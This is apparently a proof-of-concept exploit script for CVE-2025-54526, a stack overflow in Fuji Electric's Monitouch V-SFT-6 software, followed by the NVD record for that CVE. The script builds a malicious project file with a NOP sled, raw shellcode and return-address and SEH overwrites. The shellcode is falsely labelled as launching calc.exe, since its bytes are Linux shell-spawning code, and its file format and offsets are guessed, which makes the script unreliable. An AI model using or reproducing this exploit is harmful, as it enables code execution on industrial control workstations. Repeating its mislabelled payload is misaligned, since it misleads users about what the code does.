CVE-2025-54526

#!/usr/bin/env python3 """ CVE-2025-54526 PoC - Fuji Electric Monitouch V-SFT-6 Stack Buffer Overflow This PoC generates a malicious project file that triggers a stack-based buffer overflow. Note: This is for educational and authorized testing purposes only. """ import struct import os def create_malicious_project_file(filename): """ Generate a malicious V-SFT project file to trigger CVE-2025-54526 """ # V-SFT project file magic header header = b'VSFT' # Project file signature # File version version = struct.pack('<I', 0x00060000) # Create overflow payload # The overflow occurs when processing project file metadata # We need to overflow a stack buffer in the parsing routine # Buffer size in vulnerable function (estimated) buffer_size = 1024 # NOP sled for reliable exploitation nop_sled = b'\x90' * 200 # Shellcode to execute calc.exe (Windows x86) shellcode = ( b'\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x52\x51\x53\x89\xe1\xb0\x66\xcd\x80\x59\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' ) # Fill remaining space with pattern that will help locate offset padding = b'A' * (buffer_size - len(nop_sled) - len(shellcode)) # Overwrite return address (needs to be adjusted based on target) # Common offset for stack buffers return_offset = 1040 return_address = struct.pack('<I', 0x41414141) # Placeholder - needs ASLR bypass # SEH overwrite for structured exception handling exploitation next_seh = b'BBBB' seh_handler = struct.pack('<I', 0x42424242) # Placeholder # Construct the malicious payload overflow_payload = nop_sled + shellcode + padding + return_address # Build the project file structure malicious_data = ( header + version + # Project file metadata section b'\x01\x00\x00\x00' + # Section type struct.pack('<I', len(overflow_payload)) + # Section length overflow_payload + # Additional malformed sections b'\x02\x00\x00\x00' + next_seh + seh_handler + b'C' * 100 ) # Write to file with open(filename, 'wb') as f: f.write(malicious_data) print(f'[+] Malicious project file created: {filename}') print(f'[+] Payload size: {len(overflow_payload)} bytes') print(f'[!] Note: Return addresses must be adjusted for target system') return filename if __name__ == '__main__': print('CVE-2025-54526 PoC - Fuji Electric Monitouch V-SFT-6') print('=' * 60) output_file = 'malicious_v-sft_project.vsp' create_malicious_project_file(output_file) print('\n[*] To test: Open the generated file with V-SFT-6 software')

{"cve": {"id": "CVE-2025-54526", "sourceIdentifier": "[email protected]", "published": "2025-11-04T22:16:28.737", "lastModified": "2025-11-12T17:15:43.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fuji Electric Monitouch V-SFT-6 is vulnerable to a stack-based buffer \noverflow while processing a specially crafted project file, which may \nallow an attacker to execute arbitrary code."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fujielectric:monitouch_v-sft:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.7.0", "versionEndExcluding": "6.2.9.0", "matchCriteriaId": "704D6052-EE4D-43D8-A03E-53F1E26072BC"}]}]}], "references": [{"url": "https://felib.fujielectric.co.jp/en/document_search?tab=software&document1%5B1%5D=M10009&document2%5B1%5D=M20104&product1%5B1%5D=P10003&product2%5B1%5D=P20023&product3%5B1%5D=P30623&product4%5B1%5D=S11133&discontinued%5B1%5D=0&count=20&sort=en_title&page=1&region=en-glb", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-308-01.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-308-01", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}